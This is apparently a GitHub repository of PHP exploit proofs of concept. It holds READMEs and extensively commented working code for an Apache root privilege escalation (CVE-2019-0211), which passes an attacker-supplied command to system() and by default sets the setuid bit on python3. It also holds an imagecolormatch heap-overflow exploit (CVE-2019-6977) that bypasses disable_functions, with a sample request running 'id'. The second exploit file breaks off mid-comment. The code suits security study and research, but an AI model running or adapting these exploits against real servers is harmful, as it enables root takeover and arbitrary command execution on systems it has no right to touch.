├── CVE-2019-0211-apache ├── README.md └── cfreal-carpediem.php ├── CVE-2019-6977-imagecolormatch ├── README.md └── exploit.php ├── README.md ├── gctf-2019-glotto ├── exploit.py └── glotto.php └── php-SplDoublyLinkedList-offsetUnset ├── README.md └── exploit.php /CVE-2019-0211-apache/README.md: -------------------------------------------------------------------------------- 1 | # CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation 2 | 3 | This is a local root exploit for Apache HTTPd. 4 | Details [here](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html). 5 | This is a POC. It might fail for a dozen of reasons. PR welcome. 6 | 7 | # Targets 8 | 9 | The exploit has been tested and works on: 10 | 11 | #### Ubuntu 18.04.2 LTS 12 | PHP : 7.1.27-1 / 7.2.15-0 / 7.3.3-1
13 | Apache : Apache/2.4.29 (Ubuntu), build 2018-03-02T02:19:31 14 | 15 | #### Ubuntu 16.04.6 LTS 16 | PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
17 | Apache : Apache/2.4.18 (Ubuntu), build 2016-04-15T18:00:57 18 | 19 | #### Debian GNU/Linux 9.8 (stretch) 20 | PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
21 | Apache : Apache/2.4.25 (Debian), build 2018-11-03T18:46:19 22 | (latest version when debian-security repo is disabled) 23 | 24 | -------------------------------------------------------------------------------- /CVE-2019-0211-apache/cfreal-carpediem.php: -------------------------------------------------------------------------------- 1 | &$y]); 70 | } 71 | 72 | # In order to read/write what comes after in memory, we need to UAF a string so 73 | # that we can control its size and make in-place edition. 74 | # An easy way to do that is to replace the string by a timelib_rel_time 75 | # structure of which the first bytes can be reached by the (y, m, d, h, i, s) 76 | # properties of the DateInterval object. 77 | # 78 | # Steps: 79 | # - Create a base object (Z) 80 | # - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time) 81 | # - Create DateInterval object ($place) meant to be unset and filled by another 82 | # - Trigger the UAF by unsetting $y[0], which is still reachable using $this 83 | # - Unset $place: at this point, if we create a new DateInterval object, it will 84 | # replace $place in memory 85 | # - Create a string ($holder) that fills $place's timelib_rel_time structure 86 | # - Allocate a new DateInterval object: its timelib_rel_time structure will 87 | # end up in place of abc 88 | # - Now we can control $this->abc's zend_string structure entirely using 89 | # y, m, d etc. 90 | # - Increase abc's size so that we can read/write memory that comes after it, 91 | # especially the shared memory block 92 | # - Find out all_buckets' position by finding a memory region that matches the 93 | # mutex->meth structure 94 | # - Compute the bucket index required to reach the SHM and get an arbitrary 95 | # function call 96 | # - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the 97 | # bucket 98 | class Z implements JsonSerializable 99 | { 100 | public function jsonSerialize() 101 | { 102 | global $y, $addresses, $workers_pids; 103 | 104 | # 105 | # Setup memory 106 | # 107 | o('Triggering UAF'); 108 | o(' Creating room and filling empty spaces'); 109 | 110 | # Fill empty blocks to make sure our allocations will be contiguous 111 | # I: Since a lot of allocations/deallocations happen before the script 112 | # is ran, two variables instanciated at the same time might not be 113 | # contiguous: this can be a problem for a lot of reasons. 114 | # To avoid this, we instanciate several DateInterval objects. These 115 | # objects will fill a lot of potentially non-contiguous memory blocks, 116 | # ensuring we get "fresh memory" in upcoming allocations. 117 | $contiguous = []; 118 | for($i=0;$i<10;$i++) 119 | $contiguous[] = new DateInterval('PT1S'); 120 | 121 | # Create some space for our UAF blocks not to get overwritten 122 | # I: A PHP object is a combination of a lot of structures, such as 123 | # zval, zend_object, zend_object_handlers, zend_string, etc., which are 124 | # all allocated, and freed when the object is destroyed. 125 | # After the UAF is triggered on the object, all the structures that are 126 | # used to represent it will be marked as free. 127 | # If we create other variables afterwards, those variables might be 128 | # allocated in the object's previous memory regions, which might pose 129 | # problems for the rest of the exploitation. 130 | # To avoid this, we allocate a lot of objects before the UAF, and free 131 | # them afterwards. Since PHP's heap is LIFO, when we create other vars, 132 | # they will take the place of those objects instead of the object we 133 | # are triggering the UAF on. This means our object is "shielded" and 134 | # we don't have to worry about breaking it. 135 | $room = []; 136 | for($i=0;$i<10;$i++) 137 | $room[] = new Z(); 138 | 139 | # Build string meant to fill old DateInterval's timelib_rel_time 140 | # I: ptr2str's name is unintuitive here: we just want to allocate a 141 | # zend_string of size 78. 142 | $_protector = ptr2str(0, 78); 143 | 144 | o(' Allocating $abc and $p'); 145 | 146 | # Create ABC 147 | # I: This is the variable we will use to R/W memory afterwards. 148 | # After we free the Z object, we'll make sure abc is overwritten by a 149 | # timelib_rel_time structure under our control. The first 8*8 = 64 bytes 150 | # of this structure can be modified easily, meaning we can change the 151 | # size of abc. This will allow us to read/write memory after abc. 152 | $this->abc = ptr2str(0, 79); 153 | 154 | # Create $p meant to protect $this's blocks 155 | # I: Right after we trigger the UAF, we will unset $p. 156 | # This means that the timelib_rel_time structure (TRT) of this object 157 | # will be freed. We will then allocate a string ($protector) of the same 158 | # size as TRT. Since PHP's heap is LIFO, the string will take the place 159 | # of the now-freed TRT in memory. 160 | # Then, we create a new DateInterval object ($x). From the same 161 | # assumption, every structure constituting this new object will take the 162 | # place of the previous structure. Nevertheless, since TRT's memory 163 | # block has already been replaced by $protector, the new TRT will be put 164 | # in the next free blocks of the same size, which happens to be $abc 165 | # (remember, |abc| == |timelib_rel_time|). 166 | # We now have the following situation: $x is a DateInterval object whose 167 | # internal TRT structure has the same address as $abc's zend_string. 168 | $p = new DateInterval('PT1S'); 169 | 170 | # 171 | # Trigger UAF 172 | # 173 | 174 | o(' Unsetting both variables and setting $protector'); 175 | # UAF here, $this is usable despite being freed 176 | unset($y[0]); 177 | # Protect $this's freed blocks 178 | unset($p); 179 | 180 | # Protect $p's timelib_rel_time structure 181 | $protector = ".$_protector"; 182 | # !!! This is only required for apache 183 | # Got no idea as to why there is an extra deallocation (?) 184 | if(version_compare(PHP_VERSION, '7.2') >= 0) 185 | $room[] = "!$_protector"; 186 | 187 | o(' Creating DateInterval object'); 188 | # After this line: 189 | # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str 190 | # We can control the structure of $this->abc and therefore read/write 191 | # anything that comes after it in memory by changing its size and 192 | # making in-place edits using $this->abc[$position] = $char 193 | $x = new DateInterval('PT1S'); 194 | # zend_string.refcount = 0 195 | # It will get incremented at some point, and if it is > 1, 196 | # zend_assign_to_string_offset() will try to duplicate it before making 197 | # the in-place replacement 198 | $x->y = 0x00; 199 | # zend_string.len 200 | $x->d = 0x100; 201 | # zend_string.val[0-4] 202 | $x->h = 0x13121110; 203 | 204 | # Verify UAF was successful 205 | # We modified stuff via $x; they should be visible by $this->abc, since 206 | # they are at the same memory location. 207 | if(!( 208 | strlen($this->abc) === $x->d && 209 | $this->abc[0] == "\x10" && 210 | $this->abc[1] == "\x11" && 211 | $this->abc[2] == "\x12" && 212 | $this->abc[3] == "\x13" 213 | )) 214 | { 215 | o('UAF failed, exiting.'); 216 | exit(); 217 | } 218 | o('UAF successful.'); 219 | o(''); 220 | 221 | # Give us some room 222 | # I: As indicated before, just unset a lot of stuff so that next allocs 223 | # don't break our fragile UAFd structure. 224 | unset($room); 225 | 226 | # 227 | # Setup the R/W primitive 228 | # 229 | 230 | # We control $abc's internal zend_string structure, therefore we can R/W 231 | # the shared memory block (SHM), but for that we need to know the 232 | # position of $abc in memory 233 | # I: We know the absolute position of the SHM, so we need to need abc's 234 | # as well, otherwise we cannot compute the offset 235 | 236 | # Assuming the allocation was contiguous, memory looks like this, with 237 | # 0x70-sized fastbins: 238 | # [zend_string:abc] 239 | # [zend_string:protector] 240 | # [FREE#1] 241 | # [FREE#2] 242 | # Therefore, the address of the 2nd free block is in the first 8 bytes 243 | # of the first block: 0x70 * 2 - 24 244 | $address = str2ptr($this->abc, 0x70 * 2 - 24); 245 | # The address we got points to FREE#2, hence we're |block| * 3 higher in 246 | # memory 247 | $address = $address - 0x70 * 3; 248 | # The beginning of the string is 24 bytes after its origin 249 | $address = $address + 24; 250 | o('Address of $abc: 0x' . dechex($address)); 251 | o(''); 252 | 253 | # Compute the size required for our string to include the whole SHM and 254 | # apache's memory region 255 | $distance = 256 | max($addresses['apache'][1], $addresses['shm'][1]) - 257 | $address 258 | ; 259 | $x->d = $distance; 260 | 261 | # We can now read/write in the whole SHM and apache's memory region. 262 | 263 | # 264 | # Find all_buckets in memory 265 | # 266 | 267 | # We are looking for a structure s.t. 268 | # |all_buckets, mutex| = 0x10 269 | # |mutex, meth| = 0x8 270 | # all_buckets is in apache's memory region 271 | # mutex is in apache's memory region 272 | # meth is in libaprR's memory region 273 | # meth's function pointers are in libaprX's memory region 274 | o('Looking for all_buckets in memory'); 275 | $all_buckets = 0; 276 | 277 | for( 278 | $i = $addresses['apache'][0] + 0x10; 279 | $i < $addresses['apache'][1] - 0x08; 280 | $i += 8 281 | ) 282 | { 283 | # mutex 284 | $mutex = $pointer = str2ptr($this->abc, $i - $address); 285 | if(!in($pointer, $addresses['apache'])) 286 | continue; 287 | 288 | 289 | # meth 290 | $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address); 291 | if(!in($pointer, $addresses['libaprR'])) 292 | continue; 293 | 294 | o(' [&mutex]: 0x' . dechex($i)); 295 | o(' [mutex]: 0x' . dechex($mutex)); 296 | o(' [meth]: 0x' . dechex($meth)); 297 | 298 | 299 | # meth->* 300 | # flags 301 | if(str2ptr($this->abc, $pointer - $address) != 0) 302 | continue; 303 | # methods 304 | for($j=0;$j<7;$j++) 305 | { 306 | $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address); 307 | if(!in($m, $addresses['libaprX'])) 308 | continue 2; 309 | o(' [*]: 0x' . dechex($m)); 310 | } 311 | 312 | $all_buckets = $i - 0x10; 313 | o('all_buckets = 0x' . dechex($all_buckets)); 314 | break; 315 | } 316 | 317 | if(!$all_buckets) 318 | { 319 | o('Unable to find all_buckets'); 320 | exit(); 321 | } 322 | 323 | o(''); 324 | 325 | # The address of all_buckets will change when apache is gracefully 326 | # restarted. This is a problem because we need to know all_buckets's 327 | # address in order to make all_buckets[some_index] point to a memory 328 | # region we control. 329 | 330 | # 331 | # Compute potential bucket indexes and their addresses 332 | # 333 | 334 | o('Computing potential bucket indexes and addresses'); 335 | 336 | # Since we have sizeof($workers_pid) MPM workers, we can fill the rest 337 | # of the ap_score_image->servers items, so 256 - sizeof($workers_pids), 338 | # with data we like. We keep the one at the top to store our payload. 339 | # The rest is sprayed with the address of our payload. 340 | 341 | $size_prefork_child_bucket = 24; 342 | $size_worker_score = 264; 343 | # I get strange errors if I use every "free" item, so I leave twice as 344 | # many items free. I'm guessing upon startup some 345 | $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2); 346 | $spray_max = $addresses['shm'][1]; 347 | $spray_min = $spray_max - $spray_size; 348 | 349 | $spray_middle = (int) (($spray_min + $spray_max) / 2); 350 | $bucket_index_middle = (int) ( 351 | - ($all_buckets - $spray_middle) / 352 | $size_prefork_child_bucket 353 | ); 354 | 355 | # 356 | # Build payload 357 | # 358 | 359 | # A worker_score structure was kept empty to put our payload in 360 | $payload_start = $spray_min - $size_worker_score; 361 | 362 | $z = ptr2str(0); 363 | 364 | # Payload maxsize 264 - 112 = 152 365 | # Offset 8 cannot be 0, but other than this you can type whatever 366 | # command you want 367 | $bucket = isset($_REQUEST['cmd']) ? 368 | $_REQUEST['cmd'] : 369 | "chmod +s /usr/bin/python3.5"; 370 | 371 | if(strlen($bucket) > $size_worker_score - 112) 372 | { 373 | o( 374 | 'Payload size is bigger than available space (' . 375 | ($size_worker_score - 112) . 376 | '), exiting.' 377 | ); 378 | exit(); 379 | } 380 | # Align 381 | $bucket = str_pad($bucket, $size_worker_score - 112, "\x00"); 382 | 383 | # apr_proc_mutex_unix_lock_methods_t 384 | $meth = 385 | $z . 386 | $z . 387 | $z . 388 | $z . 389 | $z . 390 | $z . 391 | # child_init 392 | ptr2str($addresses['zend_object_std_dtor']) 393 | ; 394 | 395 | # The second pointer points to meth, and is used before reaching the 396 | # arbitrary function call 397 | # The third one and the last one are both used by the function call 398 | # zend_object_std_dtor(object) => ... => system(&arData[0]->val) 399 | $properties = 400 | # refcount 401 | ptr2str(1) . 402 | # u-nTableMask meth 403 | ptr2str($payload_start + strlen($bucket)) . 404 | # Bucket arData 405 | ptr2str($payload_start) . 406 | # uint32_t nNumUsed; 407 | ptr2str(1, 4) . 408 | # uint32_t nNumOfElements; 409 | ptr2str(0, 4) . 410 | # uint32_t nTableSize 411 | ptr2str(0, 4) . 412 | # uint32_t nInternalPointer 413 | ptr2str(0, 4) . 414 | # zend_long nNextFreeElement 415 | $z . 416 | # dtor_func_t pDestructor 417 | ptr2str($addresses['system']) 418 | ; 419 | 420 | $payload = 421 | $bucket . 422 | $meth . 423 | $properties 424 | ; 425 | 426 | # Write the payload 427 | 428 | o('Placing payload at address 0x' . dechex($payload_start)); 429 | 430 | $p = $payload_start - $address; 431 | for( 432 | $i = 0; 433 | $i < strlen($payload); 434 | $i++ 435 | ) 436 | { 437 | $this->abc[$p+$i] = $payload[$i]; 438 | } 439 | 440 | # Fill the spray area with a pointer to properties 441 | 442 | $properties_address = $payload_start + strlen($bucket) + strlen($meth); 443 | o('Spraying pointer'); 444 | o(' Address: 0x' . dechex($properties_address)); 445 | o(' From: 0x' . dechex($spray_min)); 446 | o(' To: 0x' . dechex($spray_max)); 447 | o(' Size: 0x' . dechex($spray_size)); 448 | o(' Covered: 0x' . dechex($spray_size * count($workers_pids))); 449 | o(' Apache: 0x' . dechex( 450 | $addresses['apache'][1] - 451 | $addresses['apache'][0] 452 | )); 453 | 454 | $s_properties_address = ptr2str($properties_address); 455 | 456 | for( 457 | $i = $spray_min; 458 | $i < $spray_max; 459 | $i++ 460 | ) 461 | { 462 | $this->abc[$i - $address] = $s_properties_address[$i % 8]; 463 | } 464 | o(''); 465 | 466 | # Find workers PID in the SHM: it indicates the beginning of their 467 | # process_score structure. We can then change process_score.bucket to 468 | # the index we computed. When apache reboots, it will use 469 | # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex 470 | # which means we control the whole apr_proc_mutex_t structure. 471 | # This structure contains pointers to multiple functions, especially 472 | # mutex->meth->child_init(), which will be called before privileges 473 | # are dropped. 474 | # We do this for every worker PID, incrementing the bucket index so that 475 | # we cover a bigger range. 476 | 477 | o('Iterating in SHM to find PIDs...'); 478 | 479 | # Number of bucket indexes covered by our spray 480 | $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket); 481 | # Number of bucket indexes covered by our spray and the PS structures 482 | $total_nb_buckets = $spray_nb_buckets * count($workers_pids); 483 | # First bucket index to handle 484 | $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); 485 | 486 | # Iterate over every process_score structure until we find every PID or 487 | # we reach the end of the SHM 488 | for( 489 | $p = $addresses['shm'][0] + 0x20; 490 | $p < $addresses['shm'][1] && count($workers_pids) > 0; 491 | $p += 0x24 492 | ) 493 | { 494 | $l = $p - $address; 495 | $current_pid = str2ptr($this->abc, $l, 4); 496 | o('Got PID: ' . $current_pid); 497 | # The PID matches one of the workers 498 | if(in_array($current_pid, $workers_pids)) 499 | { 500 | unset($workers_pids[$current_pid]); 501 | o(' PID matches'); 502 | # Update bucket address 503 | $s_bucket_index = pack('l', $bucket_index); 504 | $this->abc[$l + 0x20] = $s_bucket_index[0]; 505 | $this->abc[$l + 0x21] = $s_bucket_index[1]; 506 | $this->abc[$l + 0x22] = $s_bucket_index[2]; 507 | $this->abc[$l + 0x23] = $s_bucket_index[3]; 508 | o(' Changed bucket value to ' . $bucket_index); 509 | $min = $spray_min - $size_prefork_child_bucket * $bucket_index; 510 | $max = $spray_max - $size_prefork_child_bucket * $bucket_index; 511 | o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max)); 512 | # This bucket range is covered, go to the next one 513 | $bucket_index += $spray_nb_buckets; 514 | } 515 | } 516 | 517 | if(count($workers_pids) > 0) 518 | { 519 | o( 520 | 'Unable to find PIDs ' . 521 | implode(', ', $workers_pids) . 522 | ' in SHM, exiting.' 523 | ); 524 | exit(); 525 | } 526 | 527 | o(''); 528 | o('EXPLOIT SUCCESSFUL.'); 529 | o('Await 6:25AM.'); 530 | 531 | return 0; 532 | } 533 | } 534 | 535 | function o($msg) 536 | { 537 | # No concatenation -> no string allocation 538 | print($msg); 539 | print("\n"); 540 | } 541 | 542 | function ptr2str($ptr, $m=8) 543 | { 544 | $out = ""; 545 | for ($i=0; $i<$m; $i++) 546 | { 547 | $out .= chr($ptr & 0xff); 548 | $ptr >>= 8; 549 | } 550 | return $out; 551 | } 552 | 553 | function str2ptr(&$str, $p, $s=8) 554 | { 555 | $address = 0; 556 | for($j=$s-1;$j>=0;$j--) 557 | { 558 | $address <<= 8; 559 | $address |= ord($str[$p+$j]); 560 | } 561 | return $address; 562 | } 563 | 564 | function in($i, $range) 565 | { 566 | return $i >= $range[0] && $i < $range[1]; 567 | } 568 | 569 | /** 570 | * Finds the offset of a symbol in a file. 571 | */ 572 | function find_symbol($file, $symbol) 573 | { 574 | $elf = file_get_contents($file); 575 | $e_shoff = str2ptr($elf, 0x28); 576 | $e_shentsize = str2ptr($elf, 0x3a, 2); 577 | $e_shnum = str2ptr($elf, 0x3c, 2); 578 | 579 | $dynsym_off = 0; 580 | $dynsym_sz = 0; 581 | $dynstr_off = 0; 582 | 583 | for($i=0;$i<$e_shnum;$i++) 584 | { 585 | $offset = $e_shoff + $i * $e_shentsize; 586 | $sh_type = str2ptr($elf, $offset + 0x04, 4); 587 | 588 | $SHT_DYNSYM = 11; 589 | $SHT_SYMTAB = 2; 590 | $SHT_STRTAB = 3; 591 | 592 | switch($sh_type) 593 | { 594 | case $SHT_DYNSYM: 595 | $dynsym_off = str2ptr($elf, $offset + 0x18, 8); 596 | $dynsym_sz = str2ptr($elf, $offset + 0x20, 8); 597 | break; 598 | case $SHT_STRTAB: 599 | case $SHT_SYMTAB: 600 | if(!$dynstr_off) 601 | $dynstr_off = str2ptr($elf, $offset + 0x18, 8); 602 | break; 603 | } 604 | 605 | } 606 | 607 | if(!($dynsym_off && $dynsym_sz && $dynstr_off)) 608 | exit('.'); 609 | 610 | $sizeof_Elf64_Sym = 0x18; 611 | 612 | for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++) 613 | { 614 | $offset = $dynsym_off + $i * $sizeof_Elf64_Sym; 615 | $st_name = str2ptr($elf, $offset, 4); 616 | 617 | if(!$st_name) 618 | continue; 619 | 620 | $offset_string = $dynstr_off + $st_name; 621 | $end = strpos($elf, "\x00", $offset_string) - $offset_string; 622 | $string = substr($elf, $offset_string, $end); 623 | 624 | if($string == $symbol) 625 | { 626 | $st_value = str2ptr($elf, $offset + 0x8, 8); 627 | return $st_value; 628 | } 629 | } 630 | 631 | die('Unable to find symbol ' . $symbol); 632 | } 633 | 634 | # Obtains the addresses of the shared memory block and some functions through 635 | # /proc/self/maps 636 | # This is hacky as hell. 637 | function get_all_addresses() 638 | { 639 | $addresses = []; 640 | $data = file_get_contents('/proc/self/maps'); 641 | $follows_shm = false; 642 | 643 | foreach(explode("\n", $data) as $line) 644 | { 645 | if(!isset($addresses['shm']) && strpos($line, '/dev/zero')) 646 | { 647 | $line = explode(' ', $line)[0]; 648 | $bounds = array_map('hexdec', explode('-', $line)); 649 | $msize = $bounds[1] - $bounds[0]; 650 | if ($msize >= 0x10000 && $msize <= 0x16000) 651 | { 652 | $addresses['shm'] = $bounds; 653 | $follows_shm = true; 654 | } 655 | } 656 | if( 657 | preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) && 658 | strpos($line, 'r-xp') 659 | ) 660 | { 661 | $offset = find_symbol($matches[1], 'system'); 662 | $line = explode(' ', $line)[0]; 663 | $line = hexdec(explode('-', $line)[0]); 664 | $addresses['system'] = $line + $offset; 665 | } 666 | if( 667 | strpos($line, 'libapr-1.so') && 668 | strpos($line, 'r-xp') 669 | ) 670 | { 671 | $line = explode(' ', $line)[0]; 672 | $bounds = array_map('hexdec', explode('-', $line)); 673 | $addresses['libaprX'] = $bounds; 674 | } 675 | if( 676 | strpos($line, 'libapr-1.so') && 677 | strpos($line, 'r--p') 678 | ) 679 | { 680 | $line = explode(' ', $line)[0]; 681 | $bounds = array_map('hexdec', explode('-', $line)); 682 | $addresses['libaprR'] = $bounds; 683 | } 684 | # Apache's memory block is between the SHM and ld.so 685 | # Sometimes some rwx region gets mapped; all_buckets cannot be in there 686 | # but we include it anyways for the sake of simplicity 687 | if( 688 | ( 689 | strpos($line, 'rw-p') || 690 | strpos($line, 'rwxp') 691 | ) && 692 | $follows_shm 693 | ) 694 | { 695 | if(strpos($line, '/lib')) 696 | { 697 | $follows_shm = false; 698 | continue; 699 | } 700 | $line = explode(' ', $line)[0]; 701 | $bounds = array_map('hexdec', explode('-', $line)); 702 | if(!array_key_exists('apache', $addresses)) 703 | $addresses['apache'] = $bounds; 704 | else if($addresses['apache'][1] == $bounds[0]) 705 | $addresses['apache'][1] = $bounds[1]; 706 | else 707 | $follows_shm = false; 708 | } 709 | if( 710 | preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) && 711 | strpos($line, 'r-xp') 712 | ) 713 | { 714 | $offset = find_symbol($matches[1], 'zend_object_std_dtor'); 715 | $line = explode(' ', $line)[0]; 716 | $line = hexdec(explode('-', $line)[0]); 717 | $addresses['zend_object_std_dtor'] = $line + $offset; 718 | } 719 | } 720 | 721 | $expected = [ 722 | 'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor' 723 | ]; 724 | $missing = array_diff($expected, array_keys($addresses)); 725 | 726 | if($missing) 727 | { 728 | o( 729 | 'The following addresses were not determined by parsing ' . 730 | '/proc/self/maps: ' . implode(', ', $missing) 731 | ); 732 | exit(0); 733 | } 734 | 735 | 736 | o('PID: ' . getmypid()); 737 | o('Fetching addresses'); 738 | 739 | foreach($addresses as $k => $a) 740 | { 741 | if(!is_array($a)) 742 | $a = [$a]; 743 | o(' ' . $k . ': ' . implode('-0x', array_map(function($z) { 744 | return '0x' . dechex($z); 745 | }, $a))); 746 | } 747 | o(''); 748 | 749 | return $addresses; 750 | } 751 | 752 | # Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status, 753 | # matching the cmdline and the UID 754 | function get_workers_pids() 755 | { 756 | o('Obtaining apache workers PIDs'); 757 | $pids = []; 758 | $cmd = file_get_contents('/proc/self/cmdline'); 759 | $processes = glob('/proc/*'); 760 | foreach($processes as $process) 761 | { 762 | if(!preg_match('#^/proc/([0-9]+)$#', $process, $match)) 763 | continue; 764 | $pid = (int) $match[1]; 765 | if( 766 | !is_readable($process . '/cmdline') || 767 | !is_readable($process . '/status') 768 | ) 769 | continue; 770 | if($cmd !== file_get_contents($process . '/cmdline')) 771 | continue; 772 | 773 | $status = file_get_contents($process . '/status'); 774 | foreach(explode("\n", $status) as $line) 775 | { 776 | if( 777 | strpos($line, 'Uid:') === 0 && 778 | preg_match('#\b' . posix_getuid() . '\b#', $line) 779 | ) 780 | { 781 | o(' Found apache worker: ' . $pid); 782 | $pids[$pid] = $pid; 783 | break; 784 | } 785 | 786 | } 787 | } 788 | 789 | o('Got ' . sizeof($pids) . ' PIDs.'); 790 | o(''); 791 | 792 | return $pids; 793 | } 794 | 795 | $addresses = get_all_addresses(); 796 | $workers_pids = get_workers_pids(); 797 | real(); 798 | -------------------------------------------------------------------------------- /CVE-2019-6977-imagecolormatch/README.md: -------------------------------------------------------------------------------- 1 | # imagecolormatch() OOB Heap Write exploit 2 | 3 | ## Info 4 | 5 | My binary exploit for [CVE-2019-6977](https://nvd.nist.gov/vuln/detail/CVE-2019-6977). 6 | Bug found by Simon Scannell from RIPS. 7 | 8 | PHP bug is [here](https://bugs.php.net/bug.php?id=77270). 9 | Helps you bypass PHP's `disable_functions` INI directive. 10 | 11 | I commented **a lot** to help people that are new to binary PHP exploitation. Hope this helps. 12 | 13 | ## Output 14 | 15 | ``` 16 | GET http://target.com/exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi 17 | ``` 18 | ``` 19 | Nenuphar.ce: 0x7fe834a10018 20 | Nenuphar2.ce: 0x7fe834a10d70 21 | Nenuphar.properties: 0x7fe834a01230 22 | z.val: 0x7fe834aaea18 23 | Difference: 0xad7e8 24 | 25 | Exploit SUCCESSFUL ! 26 | ``` 27 | -------------------------------------------------------------------------------- /CVE-2019-6977-imagecolormatch/exploit.php: -------------------------------------------------------------------------------- 1 | &c= 9 | # Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi 10 | # 11 | # Target: PHP 7.2.x 12 | # Tested on: PHP 7.2.12 13 | # 14 | 15 | /* 16 | 17 | buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0); 18 | 19 | for (x=0; xsx; x++) { 20 | for( y=0; ysy; y++ ) { 21 | color = im2->pixels[y][x]; 22 | rgb = im1->tpixels[y][x]; 23 | bp = buf + (color * 5); 24 | (*(bp++))++; 25 | *(bp++) += gdTrueColorGetRed(rgb); 26 | *(bp++) += gdTrueColorGetGreen(rgb); 27 | *(bp++) += gdTrueColorGetBlue(rgb); 28 | *(bp++) += gdTrueColorGetAlpha(rgb); 29 | } 30 | 31 | The buffer is written to by means of a color being the index: 32 | color = im2->pixels[y][x]; 33 | .. 34 | bp = buf + (color * 5); 35 | 36 | */ 37 | 38 | # 39 | # The bug allows us to increment 5 longs located after buf in memory. 40 | # The first long is incremented by one, others by an arbitrary value between 0 41 | # and 0xff. 42 | # 43 | 44 | error_reporting(E_ALL); 45 | define('OFFSET_STR_VAL', 0x18); 46 | define('BYTES_PER_COLOR', 0x28); 47 | 48 | 49 | class Nenuphar extends DOMNode 50 | { 51 | # Add a property so that std.properties is created 52 | function __construct() 53 | { 54 | $this->x = '1'; 55 | } 56 | 57 | # Define __get 58 | # => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS 59 | # => zend_object_properties_size() == 0 60 | # => sizeof(intern) == 0x50 61 | function __get($x) 62 | { 63 | return $this->$x; 64 | } 65 | } 66 | 67 | class Nenuphar2 extends DOMNode 68 | { 69 | function __construct() 70 | { 71 | $this->x = '2'; 72 | } 73 | 74 | function __get($x) 75 | { 76 | return $this->$x; 77 | } 78 | } 79 | 80 | function ptr2str($ptr, $m=8) 81 | { 82 | $out = ""; 83 | for ($i=0; $i<$m; $i++) 84 | { 85 | $out .= chr($ptr & 0xff); 86 | $ptr >>= 8; 87 | } 88 | return $out; 89 | } 90 | 91 | function str2ptr(&$str, $p, $s=8) 92 | { 93 | $address = 0; 94 | for($j=$p+$s-1;$j>=$p;$j--) 95 | { 96 | $address <<= 8; 97 | $address |= ord($str[$j]); 98 | } 99 | return $address; 100 | } 101 | 102 | # Spray stuff so that we get concurrent memory blocks 103 | for($i=0;$i<100;$i++) 104 | ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL); 105 | for($i=0;$i<100;$i++) 106 | ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL); 107 | 108 | # 109 | # #1: Address leak 110 | # We want to obtain the address of a string so that we can make 111 | # the Nenuphar.std.properties HashTable* point to it and hence control its 112 | # structure. 113 | # 114 | 115 | # We create two images $img1 and $img2, both of 1 pixel. 116 | # The RGB bytes of the pixel of $img1 will be added to OOB memory because we set 117 | # $img2 to have $nb_colors images and we set its only pixel to color number 118 | # $nb_colors. 119 | # 120 | $nb_colors = 12; 121 | $size_buf = $nb_colors * BYTES_PER_COLOR; 122 | 123 | # One pixel image so that the double loop iterates only once 124 | $img1 = imagecreatetruecolor(1, 1); 125 | 126 | # The three RGB values will be added to OOB memory 127 | # First value (Red) is added to the size of the zend_string structure which 128 | # lays under buf in memory. 129 | $color = imagecolorallocate($img1, 0xFF, 0, 0); 130 | imagefill($img1, 0, 0, $color); 131 | 132 | $img2 = imagecreate(1, 1); 133 | 134 | # Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0 135 | # which puts buf in 0x200 memory blocks 136 | for($i=0;$i<$nb_colors;$i++) 137 | imagecolorallocate($img2, 0, 0, $i); 138 | 139 | imagesetpixel($img2, 0, 0, $nb_colors + 1); 140 | 141 | # Create a memory layout as such: 142 | # [z: zend_string: 0x200] 143 | # [x: zend_string: 0x200] 144 | # [y: zend_string: 0x200] 145 | $z = str_repeat('Z', $size_buf - OFFSET_STR_VAL); 146 | $x = str_repeat('X', $size_buf - OFFSET_STR_VAL); 147 | $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL); 148 | 149 | # Then, we unset z and call imagecolormatch(); buf will be at z's memory 150 | # location during the execution 151 | # [buf: long[] : 0x200] 152 | # [x: zend_string: 0x200] 153 | # [y: zend_string: 0x200] 154 | # 155 | # We can write buf + 0x208 + (0x08 or 0x10 or 0x18) 156 | # buf + 0x208 + 0x08 is X's zend_string.len 157 | unset($z); 158 | imagecolormatch($img1, $img2); 159 | 160 | # Now, $x's size has been increased by 0xFF, so we can read further in memory. 161 | # 162 | # Since buf was the last freed block, by unsetting y, we make its first 8 bytes 163 | # point to the old memory location of buf 164 | # [free: 0x200] <-+ 165 | # [x: zend_string: 0x200] | 166 | # [free: 0x200] --+ 167 | unset($y); 168 | # We can read those bytes because x's size has been increased 169 | $z_address = str2ptr($x, 488) + OFFSET_STR_VAL; 170 | 171 | # Reset both these variables so that their slot cannot be "stolen" by other 172 | # allocations 173 | $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); 174 | 175 | # Now that we have z's address, we can make something point to it. 176 | # We create a fake HashTable structure in Z; when the script exits, each element 177 | # of this 